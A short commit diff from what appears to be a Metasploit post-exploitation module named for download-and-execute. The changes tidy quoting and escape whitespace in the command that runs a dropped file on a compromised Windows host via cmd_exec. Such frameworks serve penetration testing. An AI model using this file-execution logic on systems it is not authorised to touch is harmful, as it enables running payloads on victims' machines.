download_exec_fix
parent
b2ae8a24dc
commit
53ec982385
|
@ -88,8 +88,8 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
outpath = path + '\\' + filename
|
outpath = path + '\\' + filename
|
||||||
exec = datastore["EXECUTE"]
|
exec = datastore['EXECUTE']
|
||||||
exec_string = datastore["EXEC_STRING"] || ''
|
exec_string = datastore['EXEC_STRING'] || ''
|
||||||
output = datastore['OUTPUT']
|
output = datastore['OUTPUT']
|
||||||
remove = datastore['DELETE']
|
remove = datastore['DELETE']
|
||||||
|
|
||||||
|
@ -112,11 +112,11 @@ class Metasploit3 < Msf::Post
|
||||||
# Execute file upon request
|
# Execute file upon request
|
||||||
if exec
|
if exec
|
||||||
begin
|
begin
|
||||||
cmd = outpath + ' ' + exec_string
|
cmd = "#{outpath} #{exec_string}"
|
||||||
|
|
||||||
# If we don't have the following gsub, we get this error in Windows:
|
# If we don't have the following gsub, we get this error in Windows:
|
||||||
# "Operation failed: The system cannot find the file specified"
|
# "Operation failed: The system cannot find the file specified"
|
||||||
cmd = cmd.gsub(/\\/, '\\\\\\')
|
cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')
|
||||||
|
|
||||||
print_status("Executing file: #{cmd}")
|
print_status("Executing file: #{cmd}")
|
||||||
res = cmd_exec(cmd)
|
res = cmd_exec(cmd)
|
||||||
|
|
Loading…
Reference in New Issue